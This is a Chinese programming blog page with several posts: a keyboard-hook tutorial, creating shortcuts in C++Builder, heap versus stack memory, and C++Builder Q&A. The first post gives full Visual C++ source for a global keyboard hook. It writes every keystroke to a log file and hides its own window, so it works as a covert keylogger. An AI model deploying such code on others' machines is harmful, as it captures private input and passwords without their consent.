分类归档: Programming

编程编程编程。。。

系统钩子和DLL

系统钩子和DLL
钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到 达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。
在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为 载体进行封装,VC6中有三种形式的MFC DLL可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)、Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。 在本程序中为方便起见采用了标准静态连接MFC DLL。
三、键盘钩子程序示例
本示例程序用到全局钩子函数,程序分两部分:可执行程序KeyHook和动态连接库LaunchDLL。
1、首先编制MFC扩展动态连接库LaunchDLL.dll:
(1)选择MFC AppWizard(DLL)创建项目LaunchDLL;在接下来的选项中选择Regular statically linked to MFC DLL(标准静态链接MFC DLL)。
(2)在LaunchDLL.h中添加宏定义和待导出函数的声明:
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();

//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL

//{{AFX_MSG(CLaunchDLLApp)
// NOTE – the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
(3)在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook、SaveLog:
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
(4)完成以上提到的这几个函数的实现部分:
……
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
}
在此我们实现了Windows的系统钩子的安装,首先要调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数,其原型是:
HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
其中,第一个参数指定钩子的类型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我们只关心键盘操作所以设定为 WH_KEYBOARD;第二个参数标识钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起 LauncherHook的动作;第三个参数是钩子函数所在模块的句柄,我们可以很简单的设定其为本应用程序的实例句柄;最后一个参数是钩子相关函数的 ID用以指定想让钩子去钩哪个线程,为0时则拦截整个系统的消息,在本程序中钩子需要为全局钩子,故设定为0。
……
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
虽然调用CallNextHookEx()是可选的,但调用此函数的习惯是很值得推荐的;否则的话,其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果,所以我们应尽量调用该函数除非绝对需要阻止其他程序获取通知。
……
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format(“c:\Key_%d_%d.log”,tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
当有键弹起的时候就通过此函数将刚弹起的键保存到记录文件中从而实现对键盘进行监控记录的目的。
编译完成便可得到运行时所需的键盘钩子的动态连接库LaunchDLL.dll和进行静态链接时用到的LaunchDLL.lib。
2、下面开始编写调用此动态连接库的主程序,并实现最后的集成:
(1)用MFC的AppWizard(EXE)创建项目KeyHook;
(2)选择单文档,其余几步可均为确省;
(3)把LaunchDLL.h和LaunchDLL.lib复制到KeyHook工程目录中,LaunchDLL.dll复制到Debug目录下。
(4)链接DLL库,即在”Project”,”Settings…”的”Link”属性页内,在 “Object/librarymodules:”中填 入”LaunchDLL.lib”。再通过”Project”,”Add To Project”,”Files…”将LaunchDLL.h添加到工程中来,最后在视类的源文件KeyHook.cpp中加入对其的引用:
#include “LaunchDLL.h”
这样我们就可以象使用本工程内的 函数一样使用动态连接库LaunchDLL.dll中的所有导出函数了。
(5)在视类中添加虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:
……
InstallLaunchEv();
……
(6)到此为止其实已经完成了所有的功能,但作为一个后台监控软件,运行时并不希望有界面,可以在应用程序类CkeyHookApp的 InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW);改为m_pMainWnd-> ShowWindow (SW_HIDE);即可。
四、运行与检测
编译运行程序,运行起来之后并无什么现象,但通过Alt+Ctrl+Del在关闭程序对话框内可以找到我们刚编写完毕的程序”KeyHook”,随便在什 么程序中通过键盘输入字符,然后打开记录文件,我们会发现:通过键盘钩子,我们刚才输入的字符都被记录到记录文件中了。
小结:系统钩子具有相当强大的功能,通过这种技术可以对几乎所有的Windows系统消息进行拦截、监视、处理。这种技术广泛应用于各种自动监控系统中

Read: 708

用BCB在windows桌面创建快捷方式

API提供了一个叫做IShellLink的COM接口允许我们创建快捷方式。为在桌面创建快捷方式,我们创建一个IShellLink对象,设置它的属性,然后把这个link保存到desktop目录。
下面的例子代码演示了怎样创建一个快捷方式。在这个例子里,这个快捷方式保存在C:Drive目录下。
//———————————————————————-
include <shlobj.h>
void __fastcall TForm1::Button1Click(TObject *Sender)
{
if(OpenDialog1->Execute())
CreateShortCut(OpenDialog1->FileName);
}
//———————————————————————-
void TForm1::CreateShortCut(const AnsiString &file)
{
IShellLink* pLink;
IPersistFile* pPersistFile;
if(SUCCEEDED(CoInitialize(NULL)))
{
if(SUCCEEDED(CoCreateInstance(CLSID_ShellLink, NULL,
CLSCTX_INPROC_SERVER,
IID_IShellLink, (void **) &pLink)))
{
pLink->SetPath(file.c_str());
pLink->SetDescription(“Woo hoo, look at Homer“s shortcut“);
pLink->SetShowCmd(SW_SHOW);
if(SUCCEEDED(pLink->QueryInterface(IID_IPersistFile,
(void **)&pPersistFile)))
{
WideString strShortCutLocation(“C:\bcbshortcut.lnk“);
pPersistFile->Save(strShortCutLocation.c_bstr(), TRUE);
pPersistFile->Release();
}
pLink->Release();
}
CoUninitialize();
}
}
//———————————————————————-
上面的例子只是把快捷方式文件保存到了c:drive目录下,但没保存到desktop目录下。
要让快捷方式出现在桌面上,只须把快捷方式文件保存到desktop目录下。首先我们要找到windows的desktop目录,请参阅判断 windows的Desktop及相关目录这一节。一旦我们知道了desktop所在的目录,我们就能将快捷方式文件保存到desktop目录下。然后 windows就能将快捷方式图标显示到桌面上。下面是经过改进了的例子:
//———————————————————————-
void TForm1::CreateShortCut(const AnsiString &file)
{
IShellLink* pLink;
IPersistFile* pPersistFile;
LPMALLOC ShellMalloc;
LPITEMIDLIST DesktopPidl;
char DesktopDir[MAX_PATH];
if(FAILED(SHGetMalloc(&ShellMalloc)))
return;
if(FAILED(SHGetSpecialFolderLocation(NULL,
CSIDL_DESKTOPDIRECTORY,
&DesktopPidl)))
return;
if(!SHGetPathFromIDList(DesktopPidl, DesktopDir))
{
ShellMalloc->Free(DesktopPidl);
ShellMalloc->Release();
return;
}
ShellMalloc->Free(DesktopPidl);
ShellMalloc->Release();
if(SUCCEEDED(CoInitialize(NULL)))
{
if(SUCCEEDED(CoCreateInstance(CLSID_ShellLink, NULL,
CLSCTX_INPROC_SERVER,
IID_IShellLink, (void **) &pLink)))
{
pLink->SetPath(file.c_str());
pLink->SetDescription(“Woo hoo, look at Homer“s shortcut“);
pLink->SetShowCmd(SW_SHOW);
if(SUCCEEDED(pLink->QueryInterface(IID_IPersistFile,
(void **)&pPersistFile)))
{
WideString strShortCutLocation(DesktopDir);
strShortCutLocation += “\bcbshortcut.lnk“;
pPersistFile->Save(strShortCutLocation.c_bstr(), TRUE);
pPersistFile->Release();
}
pLink->Release();
}
CoUninitialize();
}
}
//———————————————————————-
不要陷于COM的泥沼之中
创建快捷方式包括一些对COM的使用。不要让你陷入到COM的复杂之中。COM只是创建和使用对象的一种方法。在这个例子里我们可以考虑不使用COM而是用等价的C++技术。
COM code C++ psuedo-equivalent
IShellLink* pLink; TShellLink *Link;
IPersistFile* pPersistFile; TPersistFile *PersistFile;
CoInitialize();

CoCreateInstance(CLSID_ShellLink, Link = new TShellLink;
NULL,
CLSCTX_INPROC_SERVER,
IID_IShellLink,
(void **) &pLink)

pLink->SetPath(file.c_str()); Link->SetPath(file.c_str());
pLink->SetShowCmd(SW_SHOW); Link->SetShowCmd(SW_SHOW);

pLink->QueryInterface(IID_IPersistFile PersistFile =
(void **)&pPersistFile))) dynamic_cast<TPersistFile*>(Link);
pPersistFile->Save(“C:\“, TRUE); PersistFile->Save(“C:\“);

pPersistFile->Release(); delete PersistFile
pLink->Release(); delete Link;
CoUninitialize();

Read: 696

堆和栈的区别

作者: 芊珑发布日期: 2006-2-10 查看数: 125 出自: http://www.cnitexam.com
一、预备知识—程序的内存分配
一个由c/C++编译的程序占用的内存分为以下几个部分
1、栈区(stack)— 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等。其操作方式类似于数据结构中的栈。
2、堆区(heap) — 一般由程序员分配释放, 若程序员不释放,程序结束时可能由OS回收 。注意它与数据结构中的堆是两回事,分配方式倒是类似于链表,呵呵。
3、全局区(静态区)(static)—,全局变量和静态变量的存储是放在一块的,初始化的全局变量和静态变量在一块区域, 未初始化的全局变量和未初始化的静态变量在相邻的另一块区域。 – 程序结束后有系统释放
4、文字常量区 —常量字符串就是放在这里的。 程序结束后由系统释放
5、程序代码区—存放函数体的二进制代码。

二、例子程序
这是一个前辈写的,非常详细
//main.cpp
int a = 0; 全局初始化区
char *p1; 全局未初始化区
main()
{
int b; 栈
char s[] = "abc"; 栈
char *p2; 栈
char *p3 = "123456"; 123456在常量区,p3在栈上。
static int c =0; 全局(静态)初始化区
p1 = (char *)malloc(10);
p2 = (char *)malloc(20);
分配得来得10和20字节的区域就在堆区。
strcpy(p1, "123456"); 123456放在常量区,编译器可能会将它与p3所指向的"123456"优化成一个地方。
}
二、堆和栈的理论知识
2.1申请方式
stack:
由系统自动分配。 例如,声明在函数中一个局部变量 int b; 系统自动在栈中为b开辟空间
heap:
需要程序员自己申请,并指明大小,在c中malloc函数
如p1 = (char *)malloc(10);
在C++中用new运算符
如p2 = (char *)malloc(10);
但是注意p1、p2本身是在栈中的。
2.2
申请后系统的响应
栈:只要栈的剩余空间大于所申请空间,系统将为程序提供内存,否则将报异常提示栈溢出。
堆:首先应该知道操作系统有一个记录空闲内存地址的链表,当系统收到程序的申请时,
会遍历该链表,寻找第一个空间大于所申请空间的堆结点,然后将该结点从空闲结点链表中删除,并将该结点的空间分配给程序,另外,对于大多数系统, 会在这块内存空间中的首地址处记录本次分配的大小,这样,代码中的delete语句才能正确的释放本内存空间。另外,由于找到的堆结点的大小不一定正好等 于申请的大小,系统会自动的将多余的那部分重新放入空闲链表中。
2.3申请大小的限制
栈:在Windows下,栈是向低地址扩展的数据结构,是一块连续的内存的区域。这句话的意思是栈顶的地址和栈的最大容量是系统预先规定好的,在 WINDOWS下,栈的大小是2M(也有的说是1M,总之是一个编译时就确定的常数),如果申请的空间超过栈的剩余空间时,将提示overflow。因 此,能从栈获得的空间较小。
堆:堆是向高地址扩展的数据结构,是不连续的内存区域。这是由于系统是用链表来存储的空闲内存地址的,自然是不连续的,而链表的遍历方向是由低地址向高地址。堆的大小受限于计算机系统中有效的虚拟内存。由此可见,堆获得的空间比较灵活,也比较大。
2.4申请效率的比较:
栈由系统自动分配,速度较快。但程序员是无法控制的。
堆是由new分配的内存,一般速度比较慢,而且容易产生内存碎片,不过用起来最方便.
另外,在WINDOWS下,最好的方式是用VirtualAlloc分配内存,他不是在堆,也不是在栈是直接在进程的地址空间中保留一快内存,虽然用起来最不方便。但是速度快,也最灵活
2.5堆和栈中的存储内容
栈: 在函数调用时,第一个进栈的是主函数中后的下一条指令(函数调用语句的下一条可执行语句)的地址,然后是函数的各个参数,在大多数的C编译器中,参数是由右往左入栈的,然后是函数中的局部变量。注意静态变量是不入栈的。
当本次函数调用结束后,局部变量先出栈,然后是参数,最后栈顶指针指向最开始存的地址,也就是主函数中的下一条指令,程序由该点继续运行。
堆:一般是在堆的头部用一个字节存放堆的大小。堆中的具体内容有程序员安排。
2.6存取效率的比较

char s1[] = "aaaaaaaaaaaaaaa";
char *s2 = "bbbbbbbbbbbbbbbbb";
aaaaaaaaaaa是在运行时刻赋值的;
而bbbbbbbbbbb是在编译时就确定的;
但是,在以后的存取中,在栈上的数组比指针所指向的字符串(例如堆)快。
比如:
#include
void main()
{
char a = 1;
char c[] = "1234567890";
char *p ="1234567890";
a = c[1];
a = p[1];
return;
}
对应的汇编代码
10: a = c[1];
00401067 8A 4D F1 mov cl,byte ptr [ebp-0Fh]
0040106A 88 4D FC mov byte ptr [ebp-4],cl
11: a = p[1];
0040106D 8B 55 EC mov edx,dword ptr [ebp-14h]
00401070 8A 42 01 mov al,byte ptr [edx+1]
00401073 88 45 FC mov byte ptr [ebp-4],al
第一种在读取时直接就把字符串中的元素读到寄存器cl中,而第二种则要先把指针值读到edx中,在根据edx读取字符,显然慢了。
?

2.7小结:
堆和栈的区别可以用如下的比喻来看出:
使用栈就象我们去饭馆里吃饭,只管点菜(发出申请)、付钱、和吃(使用),吃饱了就走,不必理会切菜、洗菜等准备工作和洗碗、刷锅等扫尾工作,他的好处是快捷,但是自由度小。
使用堆就象是自己动手做喜欢吃的菜肴,比较麻烦,但是比较符合自己的口味,而且自由度大。

堆和栈的区别主要分:
操作系统方面的堆和栈,如上面说的那些,不多说了。
还有就是数据结构方面的堆和栈,这些都是不同的概念。这里的堆实际上指的就是(满足堆性质的)优先队列的一种数据结构,第1个元素有最高的优先权;栈实际上就是满足先进后出的性质的数学或数据结构。
虽然堆栈,堆栈的说法是连起来叫,但是他们还是有很大区别的,连着叫只是由于历史的原因。

Read: 749

联高软件:BCB编程经验几则

问:怎么实现TRichEdit的自动滚行?象某些阅读器那样的功能。
答:用ScrollWindowEx或者ScrollWindowEx就可以了。
ScrollWindow(RichEdit1- >Handle, 0, -1, NULL, NULL); //向下滚1个像素
ScrollWindow(RichEdit1- >Handle, 0, 1, NULL, NULL); //向上滚1个像素

问:在下最近在自己编组件,按照BCB的帮助提示做好了图标,也按照它的提示建立了联系,
但就是看不到自己的图标,只有默认的!!!
答:用IMAGE EDITOR编辑DCR文件,记信图标名称必须和组件名称相同,我说的是图标名称,不是文件名称。生成DCU文件后,用BRCC32.EXE对该DCR文 件进行编译生成DCU文件,将DCU文件加入到BPK包中,编译、安装包应可以看到你自制组件的包了。

问:物理删除记录,用ADO压缩Access2000库的方法?
答:用ADO压缩Access2000库
#include "utilcls.h"
void CompactDatabase(String f1,String psw1, String f2,String psw2)
{
String Provider1="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="
+ f1 + ";Jet OLEDB:Database Password=" + psw1;
String Provider2="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="
+ f2 + ";Jet OLEDB:Database Password=" + psw2;
Variant Adoobj=Variant::CreateObject("JRO.JetEngine");
Adoobj.OleProcedure("CompactDatabase",Provider1,Provider2);
AdoObj.Clear();//释放ADO对象
}
void __fastcall TForm1::Button1Click(TObject *Sender)
{
String f1="yhecdagl1.mdb"; // 源库1
String psw1="yhecdagl"; // 密码1
String f2="yhecdagl2.mdb"; // 新目的库2
String psw2="yhecdagl2"; // 新密码2
String dir=ExtractFilePath(Application->ExeName);
if(FileExists(f2))
DeleteFile(f2);
CompactDatabase(dir+f1,psw1,dir+f2,psw2);
ShowMessage("Finished");
}

问:能否通过按钮使用SQL创建一个名为a.db的文件?
答:这儿一个db文件就是一个数据表,所以可以通过创建表的方式来创建。
通过SQL语句就可以了,通过SQL语句我们可以创建不仅仅是表,还有别的很多,如字段等
Query1->Close;
Query1->DatabaseName="c:temp";
Query1->SQL->Text="create table a.db (field1 varchar(10),field2 varchar(10))";
Query1->ExecSQL;

问:TMediaPlayer如何用MediaPlayer1播放mp3?
设备类型指定了好几种怎么都不行?MediaPlayer1->DeviceType 为dtCdAudio,
dtDAT,dtOther,dtSeqencer,dtWaveAudio,dtAutoSelect都不行!;应怎么做才行?
答:
1.我来说说。MediaPlayer本身是高用windows提供的dll来工作的,但是由于bcb不是ms的,所以。。。在win98下的话,你可以查找到win.ini,在win.ini里修改东东就行了。
[mci extensions]
mp3=MPEGVideo
2.你可以用SndPlaySound函数来播放
char *tStream=new char…;
可以先用TFileStream把文件读到内存中,Read到tStream中
SndPlaySound(tStream,SND_MEMORY);

问:[TRichedit]:如何带格式存储Richedit内容到Access?
答:用AnsiString!!!!
具体方法如下,设保存RichEdit的字段为RichField:
TStringStream *pms=new TStringStream(NULL);
TStringList *StrList=new TStringList();
RichEditContent->Lines->SaveToStream(pms);
pms->Position = 0;
StrList->LoadFromStream(pms);
RichField->AsString=StrList->Text;

问:请问有什么办法使得子form一直留在最前面?
答:主要是重载Form的虚拟函数CreateParams, 改变TCreateParams的成员WndParent就可以了
class TForm2 : public TForm
{
__published: // IDE-managed Components
private: // User declarations
protected:
virtual void __fastcall CreateParams(TCreateParams & Param);
public: // User declarations
__fastcall TForm2(TComponent* Owner);
};
void __fastcall TForm2::CreateParams(TCreateParams & Param)
{
//调用基类的函数
TForm::CreateParams(Param);
Param.ExStyle |= WS_EX_TOPMOST;
//这儿最关键的是只要Param.WndParent不是Application- >Handle就可以了,
//不一定非要用GetDesktopWindow(),用其它的窗口也可以。
Param.WndParent = GetDesktopWindow();
}

问:[TTabSheet]怎么改变TabSheet标题部分的小矩形颜色。
小弟这样做的:
//TabSheet1- >PageControl = PageControl1;
TabSheet1- >Brush- >Color = clBlue;
上面的小矩形仍然为灰色。
PageControl1- >Brush- >Color = clBlue;
整个pagecontrol都变蓝色了,就是那个小矩形还灰色。
答:OwnDraw=true;
void __fastcall TForm1::TabControl1DrawTab(TCustomTabControl *Control,
int TabIndex, const TRect &Rect, bool Active)
{
Control- >Canvas- >Brush- >Color=clRed;
Control- >Canvas- >Rectangle(Rect);
}
—————————————–
PageControl也差不多,如果要不同的TabSheet有不同的颜色,可以判断TabIndex
void __fastcall TForm1::PageControl1DrawTab(TCustomTabControl *Control,
int TabIndex, const TRect &Rect, bool Active)
{
Control- >Canvas- >Brush- >Color=clGreen;
Control- >Canvas- >Pen- >Color=clGreen;
Control- >Canvas- >Rectangle(Rect);
}

问:我想写一个互斥量,但是怕和系统中的互斥量同名,有不有办法便利系统中的互斥量?
答:看CreateMutex 的帮助,如果你创建时返回ERROR_ALREADY_EXISTS,表示已经存在了,你就再换一个名字创建啊。

Read: 721